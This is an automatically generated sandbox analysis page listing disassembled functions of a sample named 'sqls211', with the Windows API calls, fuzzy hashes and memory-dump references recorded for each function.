Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 139324dc9d17a11b7794b7d3fd1ff622d6cc7eb9c301662065e23af0fa948a24
Instruction ID: fa14efc77a776fa9127a3f7d45163464c1a3db1f40bd62315043f94595e2d662
Opcode Fuzzy Hash: 139324dc9d17a11b7794b7d3fd1ff622d6cc7eb9c301662065e23af0fa948a24
Instruction Fuzzy Hash: 00E0ED71500218EBCB50EF55C54179ABBE8EB04360F10805BAA9697351E374FF04DB91

Function 00CE2B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CE2BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00CE2BB5

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 81fa32f797c79bafe468c2c3a0bb0b4b4915483dfd9405221e5f6288c0907378
Instruction ID: 379308dc263a6dd2451f81de652551865d73416027ee4bb639b9d8bf98a164ba
Opcode Fuzzy Hash: 81fa32f797c79bafe468c2c3a0bb0b4b4915483dfd9405221e5f6288c0907378
Instruction Fuzzy Hash: F2D022741643C02A4C243E733D0BF79338EAD51B787B00BAAF0328A4C1EE51A280B022

Function 00CC12F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00CC1306
ShowWindow.USER32(00000000), ref: 00CC130D

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: a90a8644e0824b4665198f914123980f159018abcc1fd2378f48dd7525e6bba0
Instruction ID: b268c6533427a23339467070f0941eccecf81cacc6b726044713af81d6a3c8a4
Opcode Fuzzy Hash: a90a8644e0824b4665198f914123980f159018abcc1fd2378f48dd7525e6bba0
Instruction Fuzzy Hash: 41C0123205C300BECB020BB4DC09C2BBBA8ABA5312F04C908B0A5C0260C23CC130DF21

Function 00CC1A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC1A09

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d9eea51bc7e909ec721c07775a739f6df613db75998c0209918d32eb89e31d37
Instruction ID: eb19185973fdd5c588a98da5b24f985494a3e7ba84f642030a8cf9d88e375000
Opcode Fuzzy Hash: d9eea51bc7e909ec721c07775a739f6df613db75998c0209918d32eb89e31d37
Instruction Fuzzy Hash: 1FC19170A00254ABEF15DF6AC494FA97BA5AF06310F0C01BDEC569B297DB309E44CB61

Function 00CC3BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC3BBF

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2bd0b9c051f504b9b1fec0362d7ed0bab7f8965e4798a06f1f1393cf558d0d76
Instruction ID: 88922e7829fd0fd1d6647ba81d6f341057ff1616b0077a60a8725d10167e6b95
Opcode Fuzzy Hash: 2bd0b9c051f504b9b1fec0362d7ed0bab7f8965e4798a06f1f1393cf558d0d76
Instruction Fuzzy Hash: B571F471500B849EDB35EB74D855FEBB7E9AF14300F40492EE2AB87242DA327A84DF11

Function 00CC8284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC8289

Part of subcall function 00CC13DC: __EH_prolog.LIBCMT ref: 00CC13E1

Part of subcall function 00CCA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CCA598

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 210a3948beb0032047df8deb4c587b6854df31f3bffd0854eaa7d74a52d346a2
Instruction ID: db93f7dc26b58680f72aefad0ff2a1943e6d8ef8eb65cef43edc1a6dc1b94f1c
Opcode Fuzzy Hash: 210a3948beb0032047df8deb4c587b6854df31f3bffd0854eaa7d74a52d346a2
Instruction Fuzzy Hash: 8641D6719446589ADB24EBA0CC55FEAB7B8AF00304F0804EFE59A97193EB705FC9DB10

Function 00CC13E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC13E1

Part of subcall function 00CC5E37: __EH_prolog.LIBCMT ref: 00CC5E3C

Part of subcall function 00CCCE40: __EH_prolog.LIBCMT ref: 00CCCE45

Part of subcall function 00CCB505: __EH_prolog.LIBCMT ref: 00CCB50A

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7f95fa38065cb24d95740098f8bda9934368ae125d5814a097c1d6f6f98e737d
Instruction ID: 20359fd918b34cc8f1ba067d66b3f68215b4e5623472c3c2e672620de31e77f4
Opcode Fuzzy Hash: 7f95fa38065cb24d95740098f8bda9934368ae125d5814a097c1d6f6f98e737d
Instruction Fuzzy Hash: F24156B0905B409EE724DF7AC885AE6FAE5BF19300F54492EE5FF83282CB316654DB10

Function 00CC13DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC13E1

Part of subcall function 00CC5E37: __EH_prolog.LIBCMT ref: 00CC5E3C

Part of subcall function 00CCCE40: __EH_prolog.LIBCMT ref: 00CCCE45

Part of subcall function 00CCB505: __EH_prolog.LIBCMT ref: 00CCB50A

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 67e73c95c534c8f75275de8ba4fa70ece157908bc1318c8caeb20d02f71685f7
Instruction ID: ff2cb6316c78afa5243397c92b78ac1b1d71fce698e3cc7bb6e1349ed2df0e36
Opcode Fuzzy Hash: 67e73c95c534c8f75275de8ba4fa70ece157908bc1318c8caeb20d02f71685f7
Instruction Fuzzy Hash: 934136B0905B409AE724DF7A8885AE6FAE5BF19300F54492ED6FE83282CB316654DB11

Function 00CDB093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CDB098

Part of subcall function 00CC13DC: __EH_prolog.LIBCMT ref: 00CC13E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 987b6b81842e9588fe01848999f675fc482516375752babe8404d502e66e4777
Instruction ID: 2ca2c5d52b57cf19085acfd6246cc057251f35ddba1e1eb703ce2348f369487b
Opcode Fuzzy Hash: 987b6b81842e9588fe01848999f675fc482516375752babe8404d502e66e4777
Instruction Fuzzy Hash: C8316A75810249EACF15EFA6C851AEEBBB4AF09304F14449EE809B7242D735AF04DB61

Function 00CEAC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00CF3A34), ref: 00CEACF8

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 43af63536b91818c2b5aee8d3db4dc6179f403e96b6d50d976dd545e5078ed0e
Instruction ID: 7824f002ddf0c2e71f09eec35e9ec191c81d99eda7c2d86d0247025a063c3941
Opcode Fuzzy Hash: 43af63536b91818c2b5aee8d3db4dc6179f403e96b6d50d976dd545e5078ed0e
Instruction Fuzzy Hash: 31110633A002756F9B269E2FEC40A6A7395AB847607264221FC25EB264D731FE01C7D3

Function 00CC9215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC921A

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8190cf6f987f89eb65332c54192a0b6134b399cf469749fc576fe9e0912a0cdb
Instruction ID: 855139c5af4f0fa2fd384bcbe2168cb0eb52ea5583a86be99f968f6cd247530e
Opcode Fuzzy Hash: 8190cf6f987f89eb65332c54192a0b6134b399cf469749fc576fe9e0912a0cdb
Instruction Fuzzy Hash: FC01A533900568ABCF21BBA8CC85FDEB731EF88750F05412DE812B7262DA34CE01D6A0

Function 00CEC479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00CEB136: RtlAllocateHeap.NTDLL(00000008,00CF3A34,00000000,?,00CE989A,00000001,00000364,?,?,?,00CCD984,?,?,?,00000004,00CCD710), ref: 00CEB177

_free.LIBCMT ref: 00CEC4E5

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: b3a3472d510cc5782a0b131b34e99f2038b1e728b18163483431e197fba6df7c
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: C801D6722003856BE3318F66988596AFBE9EB85370F25051DE594972C1EA30A906C764

Function 00CEB136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00CF3A34,00000000,?,00CE989A,00000001,00000364,?,?,?,00CCD984,?,?,?,00000004,00CCD710), ref: 00CEB177

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a4fb70863a754f621f2ea21c9e6be61f7b6f83168f89d70428f32a2133dcf172
Instruction ID: ccc3e3d4dad10b8ecf855a7ff79b3b6d63994212939fd25b90ef046922017369
Opcode Fuzzy Hash: a4fb70863a754f621f2ea21c9e6be61f7b6f83168f89d70428f32a2133dcf172
Instruction Fuzzy Hash: ADF089325051E577DB215B23AD15BBF7748AF41770B189221FC28D7194CB70DE0196E0

Function 00CE3C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00CE3C3F

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 4492134fe61d5968e261445a28b753d61389895d64bd539feadaa65d39c63994
Instruction ID: 54bc5e34ec55069b1d0ad9591c5cd6fe9b2d83cceea6c986e8d265f5f70416a9
Opcode Fuzzy Hash: 4492134fe61d5968e261445a28b753d61389895d64bd539feadaa65d39c63994
Instruction Fuzzy Hash: 50F0EC322003D6AFCF114E6AEC08A9A7799EF05B617204225FA25E7190DB31FB20D7A0

Function 00CE8E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00CECA2C,00000000,?,00CE6CBE,?,00000008,?,00CE91E0,?,?,?), ref: 00CE8E38

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 91cf318ede46b0b1883a792a0e8d36a7958d6524e5ea403449398024528df6cc
Instruction ID: 7ada6ce07a8dbf83b07d9e6e4def2aa53132b651da481db04842e52c71dfdf8c
Opcode Fuzzy Hash: 91cf318ede46b0b1883a792a0e8d36a7958d6524e5ea403449398024528df6cc
Instruction Fuzzy Hash: 86E06D3A2062E567EA7127679D05BAF76499B427B4F150121BC2C97191CF60CE0592E1

Function 00CC5ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC5AC2

Part of subcall function 00CCB505: __EH_prolog.LIBCMT ref: 00CCB50A

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: afa72da564cdf59b12284fc9826a872f24ff522b4188ff4544a24d7ac92243a9
Instruction ID: f57993e6aac6344007171e647144eec5a3d76b19c30e47a6edccf918f6c4f901
Opcode Fuzzy Hash: afa72da564cdf59b12284fc9826a872f24ff522b4188ff4544a24d7ac92243a9
Instruction Fuzzy Hash: 4C018C30810794DAD725F7B8C0417EDFBA49F64304F68848EA95653382CBB46B09E7A2

Function 00CCA56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00CCA69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00CCA592,000000FF,?,?), ref: 00CCA6C4
Part of subcall function 00CCA69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00CCA592,000000FF,?,?), ref: 00CCA6F2
Part of subcall function 00CCA69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00CCA592,000000FF,?,?), ref: 00CCA6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CCA598

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 3e3b6985d9a27902eb593dac6d668d6fdb1ae65fcc68f8713c9ca3f3d2268a79
Instruction ID: 32c283802877f1229fdfe14fcd86076f67a26e894a71bfe1e0b321be27d71cc8
Opcode Fuzzy Hash: 3e3b6985d9a27902eb593dac6d668d6fdb1ae65fcc68f8713c9ca3f3d2268a79
Instruction Fuzzy Hash: A4F08232408794BACB2257B4C909FDB7B906F1A339F04CA4EF1FD52196C2755494AB23

Function 00CD0E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00CD0E3D

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: a78e2fba374cc9e2f50d97465ec87a48903b78118ced432400e4f05cd8da11ac
Instruction ID: 3a7886db9a5b74c353ab8a8bed5ffb4bbb9e2685abf7b9c34ebf2ed297013d6e
Opcode Fuzzy Hash: a78e2fba374cc9e2f50d97465ec87a48903b78118ced432400e4f05cd8da11ac
Instruction Fuzzy Hash: 9ED0C25060109436EA1137286915BFE26068FC6311F0C002BF68957782CE840886B272

Function 00CDA626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00CDA62C

Part of subcall function 00CDA3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00CDA3DA

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
